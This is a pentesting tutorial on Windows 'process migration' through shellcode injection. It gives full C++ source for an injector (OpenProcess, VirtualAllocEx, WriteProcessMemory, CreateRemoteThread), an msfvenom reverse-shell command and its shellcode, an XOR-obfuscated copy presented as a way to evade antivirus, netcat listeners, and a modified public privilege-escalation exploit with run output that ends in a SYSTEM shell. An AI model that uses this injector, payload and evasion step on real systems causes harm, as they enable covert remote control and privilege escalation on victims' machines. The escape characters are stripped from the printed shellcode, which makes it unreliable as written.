The “poor man’s process migration” in Windows
In the various pentesting activities, there are many instances where you need to "migrate" a particular Windows working process, typically a shell. The following are some scenarios under which this can happen:
FREE role-guided training plans
- You have an unstable shell and need to move to a more robust process on the victim's machine (typically explorer.exe which will live until the victim does not log off);
- Some exploits require an interactive session, and if your process lives in session 0, you need to switch to a different one. Some of the more recent exploits such as the "Secondary Logon Handle Privilege Escalation" or, the more recent "Microsoft Windows - COM Aggregate Marshaler/IRemUnknown2 Type Confusion Privilege Escalation" don't work in session 0
- You need to migrate from a 32-bit process to a 64-bit processing system.
It is important to note that you can only migrate to processes according to your privileges, so if you are a standard user, you can only migrate to processes with same privileges from within the source application.
If you have a meterpreter shell, this task is very easy. All you must do is just launch the "migrate" command by specifying the PID and wait for process migration.
Technically speaking, this not a real migration, it's more of a malicious code injection by creating a thread into another process. Meterpreter does this very well. It injects your current session, along with all the configurations and loaded extensions into a new remote thread.
An example of injecting a simple shellcode (for example a reverse shell) into another process directly from an "evil" process, without using the reflective dll injections is further discussed in the next section.
The windows API
First, the necessary Windows APIs need to be categorized which are as follows:
- OpenProcess() for opening the remote process
- VirtualAllocEx() for allocating memory in remote process
- WriteProcessMemory() for writing the shellcode in a newly allocated memory and make it executable
- CreateRemoteThread() for creating a new remote thread and executing the relevant source code
No privileges are required for operating on your own processes, so the specialized functions such as AdjustTokenPrivileges() can thus be omitted.
These are the prototypes of the functions calls:
HANDLE WINAPI OpenProcess(
_In_ DWORD dwDesiredAccess,
_In_ BOOL bInheritHandle,
_In_ DWORD dwProcessId
);
Where dwDesiredAccess in our case is "PROCESS_ALL_ACCESS" for the sake of simplicity, bInheritHandle is set to FALSE because it is not needed and dwProcessId is the PID of the process we want the code to inject into.
This particular function returns a handle which can be used for allocating the virtual memory:
LPVOID WINAPI VirtualAllocEx(
_In_ HANDLE hProcess,
_In_opt_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flAllocationType,
_In_ DWORD flProtect
);
Where hProcess is the handle we got with OpenProcess(), dwSize is the size of our shellcode, flAllocationTypet is set to "MEM_COMMIT" to have it directly allocated, and flProtect is set to "PAGE_EXECUTE_READWRITE." Upon the execution of these command lines, the function returns a pointer to allocated memory.
The code is now injected with the following statements:
BOOL WINAPI WriteProcessMemory(
_In_ HANDLE hProcess,
_In_ LPVOID lpBaseAddress,
_In_ LPCVOID lpBuffer,
_In_ SIZE_T nSize,
_Out_ SIZE_T *lpNumberOfBytesWritten
);
With lpBaseAddress set to the previous memory pointer, lpBuffer now contains the shellcode and nSize contains
the length of shellcode.
Now the remote thread is injected, which is as follows:
HANDLE WINAPI CreateRemoteThread(
_In_ HANDLE hProcess,
_In_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
_In_ SIZE_T dwStackSize,
_In_ LPTHREAD_START_ROUTINE lpStartAddress,
_In_ LPVOID lpParameter,
_In_ DWORD dwCreationFlags,
_Out_ LPDWORD lpThreadId
);
The default settings here can be set at the above points. The lpStartAddress is the pointer to our allocated memory containing the shellcode, and the dwCreationFlags is set to 0 to start the thread immediately.
The shell code
Next, a shellcode needs to be injected. A primary example of this is the "netcat" style with a reverse cmd.exe shell as illustrated below:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.128 LPORT=4444 -f c > shell.out
This is not a meterpreter payload, just an all-in-one stageless reverse cmd shell and thus should be considered harmless by antiviruses:
"xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50x52"
"x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48""x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9"
"x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41"
"x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48"
"x01xd0x8bx80x88x00x00x00x48x85xc0x74x67x48x01"
"xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48"
"xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0"
"xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4c"
"x24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0"
"x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04"
"x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59"
"x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48"
"x8bx12xe9x57xffxffxffx5dx49xbex77x73x32x5fx33"
"x32x00x00x41x56x49x89xe6x48x81xecxa0x01x00x00"
"x49x89xe5x49xbcx02x00x11x5cxc0xa8x01x80x41x54"
"x49x89xe4x4cx89xf1x41xbax4cx77x26x07xffxd5x4c"
"x89xeax68x01x01x00x00x59x41xbax29x80x6bx00xff"
"xd5x50x50x4dx31xc9x4dx31xc0x48xffxc0x48x89xc2"
"x48xffxc0x48x89xc1x41xbaxeax0fxdfxe0xffxd5x48"
"x89xc7x6ax10x41x58x4cx89xe2x48x89xf9x41xbax99"
"xa5x74x61xffxd5x48x81xc4x40x02x00x00x49xb8x63"
"x6dx64x00x00x00x00x00x41x50x41x50x48x89xe2x57"
"x57x57x4dx31xc0x6ax0dx59x41x50xe2xfcx66xc7x44"
"x24x54x01x01x48x8dx44x24x18xc6x00x68x48x89xe6"
"x56x50x41x50x41x50x41x50x49xffxc0x41x50x49xff"
"xc8x4dx89xc1x4cx89xc1x41xbax79xccx3fx86xffxd5"
"x48x31xd2x48xffxcax8bx0ex41xbax08x87x1dx60xff"
"xd5xbbxf0xb5xa2x56x41xbaxa6x95xbdx9dxffxd5x48"
"x83xc4x28x3cx06x7cx0ax80xfbxe0x75x05xbbx47x13"
"x72x6fx6ax00x59x41x89xdaxffxd5";
Myinject.exe
The below screenshot illustrates a C++ Win32 console application "myinject" in Visual Studio 2015:
The source code can be seen below:
#include <windows.h>
#include <stdio.h>#include <stdlib.h>
#define EXIT_WITH_ERROR( e ) { printf( "%s - %d", e, GetLastError() );return 1;}
//msfvenon -p windows/x64/shell_reverse_tcp lport= lhost= -f c
Char shellcode[] =
"xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50x52"
"x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48"
"x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9"
"x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41"
"x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48"
"x01xd0x8bx80x88x00x00x00x48x85xc0x74x67x48x01"
"xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48"
"xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0"
"xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4c"
"x24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0"
"x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04"
"x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59"
"x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48"
"x8bx12xe9x57xffxffxffx5dx49xbex77x73x32x5fx33"
"x32x00x00x41x56x49x89xe6x48x81xecxa0x01x00x00"
"x49x89xe5x49xbcx02x00x11x5cxc0xa8x01x80x41x54"
"x49x89xe4x4cx89xf1x41xbax4cx77x26x07xffxd5x4c"
"x89xeax68x01x01x00x00x59x41xbax29x80x6bx00xff"
"xd5x50x50x4dx31xc9x4dx31xc0x48xffxc0x48x89xc2"
"x48xffxc0x48x89xc1x41xbaxeax0fxdfxe0xffxd5x48"
"x89xc7x6ax10x41x58x4cx89xe2x48x89xf9x41xbax99"
"xa5x74x61xffxd5x48x81xc4x40x02x00x00x49xb8x63"
"x6dx64x00x00x00x00x00x41x50x41x50x48x89xe2x57"
"x57x57x4dx31xc0x6ax0dx59x41x50xe2xfcx66xc7x44"
"x24x54x01x01x48x8dx44x24x18xc6x00x68x48x89xe6"
"x56x50x41x50x41x50x41x50x49xffxc0x41x50x49xff"
"xc8x4dx89xc1x4cx89xc1x41xbax79xccx3fx86xffxd5"
"x48x31xd2x48xffxcax8bx0ex41xbax08x87x1dx60xff"
"xd5xbbxf0xb5xa2x56x41xbaxa6x95xbdx9dxffxd5x48"
"x83xc4x28x3cx06x7cx0ax80xfbxe0x75x05xbbx47x13"
"x72x6fx6ax00x59x41x89xdaxffxd5";
int main(int argc, char * argv[])
{
HANDLE hProcess = NULL;
HANDLE hToken = NULL;
LPVOID lpBuffer = NULL;
DWORD dwProcessId = 0;
int iSize;
dwProcessId = atoi(argv[1]);
SIZE_T lpnumber = 0;
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (!hProcess)
EXIT_WITH_ERROR("Failed to open the target process");
iSize = sizeof(shellcode);
printf("iSize=%dn", iSize);
LPVOID vptr = (int *)VirtualAllocEx(hProcess, NULL, iSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
BOOL b = WriteProcessMemory(hProcess, vptr, shellcode, iSize, &lpnumber);
printf("WriteProcessResult:%d %lpnumber=%d %dn", b, lpnumber);
HANDLE h = CreateRemoteThread(hProcess, NULL,0,(LPTHREAD_START_ROUTINE)vptr, NULL, 0, 0);
if (h == NULL)
{
EXIT_WITH_ERROR("Failed to execute shellcode);
}
return 0;
}
Here is a summary of what was done in the above steps:
- The remote process with PID was opened and passed as argument from the command line;
- The necessary memory space was allocated;
- The shellcode in allocated memory was written;
- The remote thread was subsequently launched.
Once compiled the "myinject.exe" is now64 bit executable ready.
Bypassing detection
In this particular example, we can use a simple "xor" for obfuscating the shellcode and again a xor in our program for de-obfuscating it by passing the xor key via the command line in order make it as stealthy and covert as possible.
This is the shellcode xor'ed with 'y' key:
"x85x31xfax9dx89x91xb9x79x79x79x38x28x38x29x2bx28x2fx31x48xabx1cx31"
"xf2x2bx19x31xf2x2bx61x31xf2x2bx59x31xf2x0bx29x31x76xcex33x33x34x48""xb0x31x48xb9xd5x45x18x05x7bx55x59x38xb8xb0x74x38x78xb8x9bx94x2bx38"
"x28x31xf2x2bx59xf2x3bx45x31x78xa9xf2xf9xf1x79x79x79x31xfcxb9x0dx1e"
"x31x78xa9x29xf2x31x61x3dxf2x39x59x30x78xa9x9ax2fx31x86xb0x38xf2x4d"
"xf1x31x78xafx34x48xb0x31x48xb9xd5x38xb8xb0x74x38x78xb8x41x99x0cx88"
"x35x7ax35x5dx71x3cx40xa8x0cxa1x21x3dxf2x39x5dx30x78xa9x1fx38xf2x75"
"x31x3dxf2x39x65x30x78xa9x38xf2x7dxf1x31x78xa9x38x21x38x21x27x20x23"
"x38x21x38x20x38x23x31xfax95x59x38x2bx86x99x21x38x20x23x31xf2x6bx90"
"x2ex86x86x86x24x30xc7x0ex0ax4bx26x4ax4bx79x79x38x2fx30xf0x9fx31xf8"
"x95xd9x78x79x79x30xf0x9cx30xc5x7bx79x68x25xb9xd1x78xf9x38x2dx30xf0"
"x9dx35xf0x88x38xc3x35x0ex5fx7ex86xacx35xf0x93x11x78x78x79x79x20x38"
"xc3x50xf9x12x79x86xacx29x29x34x48xb0x34x48xb9x31x86xb9x31xf0xbbx31"
"x86xb9x31xf0xb8x38xc3x93x76xa6x99x86xacx31xf0xbex13x69x38x21x35xf0"
"x9bx31xf0x80x38xc3xe0xdcx0dx18x86xacx31xf8xbdx39x7bx79x79x30xc1x1a"
"x14x1dx79x79x79x79x79x38x29x38x29x31xf0x9bx2ex2ex2ex34x48xb9x13x74"
"x20x38x29x9bx85x1fxbex3dx5dx2dx78x78x31xf4x3dx5dx61xbfx79x11x31xf0"
"x9fx2fx29x38x29x38x29x38x29x30x86xb9x38x29x30x86xb1x34xf0xb8x35xf0"
"xb8x38xc3x00xb5x46xffx86xacx31x48xabx31x86xb3xf2x77x38xc3x71xfex64"
"x19x86xacxc2x89xccxdbx2fx38xc3xdfxecxc4xe4x86xacx31xfaxbdx51x45x7f"
"x05x73xf9x82x99x0cx7cxc2x3ex6ax0bx16x13x79x20x38xf0xa3x86xacx79";
And in "myinject.cpp":
for(int i=0;i<sizeof(buf);i++)
shellcode[i]=buf[i]^argv[1][0];
Testing the solution
To test the above, a Linux box was used to launch the "nc" command listening on port 4444.
$nc -lvp 4444
After that, on the Windows box from a command shell, the PID of the explorer process can thus be found, which is illustrated below:
The PID is 2168, user "andrea" on a Windows 2016 Server without Admin privileges. Now we can launch our program:
The above screenshot illustrates that this process does indeed work.
We now have a reverse shell on a Kali Linux box.
The Process ID can be seen below:
448
Moreover, the parent process ID of our process is really explorer.exe:
The shellcode has now been injected into explorer.exe, as illustrated up above.
Real case scenario
To test a real case scenario, a reverse PowerShell in session 0 on port 5555 is utilized, from a misconfigured scheduled task or service, as illustrated below:
PS C:temp> whoami
win-ecmucgnonpuandreaPS C:temp> ver
PS C:temp> cmd /c 'ver'
Microsoft Windows [Version 10.0.14393]
The Operating System is Windows Server 2016 and the "Microsoft Windows - COM Aggregate Marshaler/IRemUnknown2 Type Confusion Privilege Escalation" exploit is thus being tested.
First, the source code needs to be modified, as illustrated below and also found at the following link: (https://www.exploit-db.com/exploits/42020/):
{
try{
CoInit ci;
if (argc > 2)
{
wcscpy_s(cmdline, argv[2]);
CreateNewProcess(argv[1]);
}
else
{
wcscpy_s(cmdline, argv[1]);
bstr_t script = L"script:" + CreateScriptletFile();
BuildTypeLibs(script);
TestBits();
}
}
…….
bstr_t CreateScriptletFile()
{
bstr_t script_file = GetExeDir() + L"run.sct";
bstr_t script_data = scriptlet_start;
bstr_t exe_file = GetExe();
wchar_t* p = exe_file;
while (*p)
{
if (*p == '')
{
*p = '/';
}
p++;
}
DWORD session_id;
ProcessIdToSessionId(GetCurrentProcessId(), &session_id);
WCHAR session_str[16];
StringCchPrintf(session_str, _countof(session_str), L"%d", session_id);
script_data += L""" + exe_file + L"" " + session_str + " " + cmdline + " " +scriptlet_end;
WriteFile(script_file, script_data);
return script_file;
}
…...
Instead of calling the predefined "cmd.exe", the argument is passed via the command line. In this case a reverse shell is called. In this instance a new reverse powershell via a batch file is uploaded onto the victim's machine in C:TEMP and called "rev.bat":
The Contents of rev.bat can be seen below:
Note the double "%%."
The next step is to compile the modified exploit and upload it as "exploit.exe" in the "%TEMP% "directory of the current user.
Once the "exploit.exe" has been uploaded, we need to launch a new Netcat listener on port 6666. The same process is also launched on port 5555, which can be seen in the screenshot below:
Building Library with path: script:C:usersandreaappdatalocaltemprun.sct
Found TLB name at offset 766
QI - Marshaller: {00000000-0000-0000-C000-000000000046} 000001F363434670
Queried Success: 000001F363434670
AddRef: 1
QI - Marshaller: {0000001B-0000-0000-C000-000000000046} 000001F363434670
QI - Marshaller: {ECC8691B-C1DB-4DC0-855E-65F6C551AF49} 000001F363434670
QI - Marshaller: {00000000-0000-0000-C000-000000000046} 000001F363434670
Queried Success: 000001F363434670
AddRef: 2
QI - Marshaller: {00000018-0000-0000-C000-000000000046} 000001F363434670
QI - Marshaller: {334D391F-0E79-3B15-C9FF-EAC65DD07C42} 000001F363434670
QI - Marshaller: {00000040-0000-0000-C000-000000000046} 000001F363434670
QI - Marshaller: {334D391F-0E79-3B15-C9FF-EAC65DD07C42} 000001F363434670
QI - Marshaller: {94EA2B94-E9CC-49E0-C0FF-EE64CA8F5B90} 000001F363434670
QI - Marshaller: {334D391F-0E79-3B15-C9FF-EAC65DD07C42} 000001F363434670
QI - Marshaller: {77DD1250-139C-2BC3-BD95-900ACED61BE5} 000001F363434670
QI - Marshaller: {334D391F-0E79-3B15-C9FF-EAC65DD07C42} 000001F363434670
QI - Marshaller: {BFD60505-5A1F-4E41-88BA-A6FB07202DA9} 000001F363434670
QI - Marshaller: {334D391F-0E79-3B15-C9FF-EAC65DD07C42} 000001F363434670
QI - Marshaller: {03FB5C57-D534-45F5-A1F4-D39556983875} 000001F363434670
QI - Marshaller: {334D391F-0E79-3B15-C9FF-EAC65DD07C42} 000001F363434670
QI - Marshaller: {2C258AE7-50DC-49FF-9D1D-2ECB9A52CDD7} 000001F363434670
QI - Marshaller: {00000019-0000-0000-C000-000000000046} 000001F363434670
QI - Marshaller: {4C1E39E1-E3E3-4296-AA86-EC938D896E92} 000001F363434670
Release: 3
Opened Link ??C: -> DeviceHarddiskVolume2usersandreaappdatalocaltemp: 00000000000001AC
QI - Marshaller: {00000003-0000-0000-C000-000000000046} 000001F363459520
Queried Success: 000001F363459520
AddRef: 1
Release: 2
QI - Marshaller: {ECC8691B-C1DB-4DC0-855E-65F6C551AF49} 000001F363459520
QI - Marshaller: {00000003-0000-0000-C000-000000000046} 000001F363459520
Queried Success: 000001F363459520
AddRef: 1
Marshal Interface: {00000000-0000-0000-C000-000000000046}
AddRef: 2
AddRef: 3
Release: 4
Marshal Complete: 00000000
Release: 2
AddRef: 3
Release: 4
Release: 3
Result: 800704DD
Done
Release: 1
Release object 000001F363459520
Release: 2
PS C:usersandreaappdatalocaltemp>
Unfortunately, nothing happened in our netcat console listening on 6666.
The step now is to determine if the user we are impersonating is logged in and has an interactive session. "Explorer.exe" is, of course, the best tool for this, and this time we will use PowerShell cmdlets:
The two explorer.exe processes are running, and the screenshot below shows the information about the owners:
The above screenshot illustrates that the user is logged in and that the PID is 2524. Keep in mind that on Windows systems, if you have standard privileges, you can also see the owner of the running processes as well but, only if it is yours.
The next step is to upload the "myinject.exe" and inject it into the "explorer.exe" process to obtain a new interactive shell on port 4444:
PS C:usersandreaappdatalocaltemp>myinject 2524 y
From this new shell, we launch the exploit again, as illustrated below:
A new shell on port 6666 as "NT AUTHORITYSYSTEM" has been thus created:
The above screenshot demonstrates that the exploit did indeed work.
What should you learn next?
Conclusion
The shellcode should not be hardcoded in the exe file, but instead, it should be read from an external file. However, this was not the main intention. The point of this article is to take a deep dive in process injection and further exemplify what can be done with it.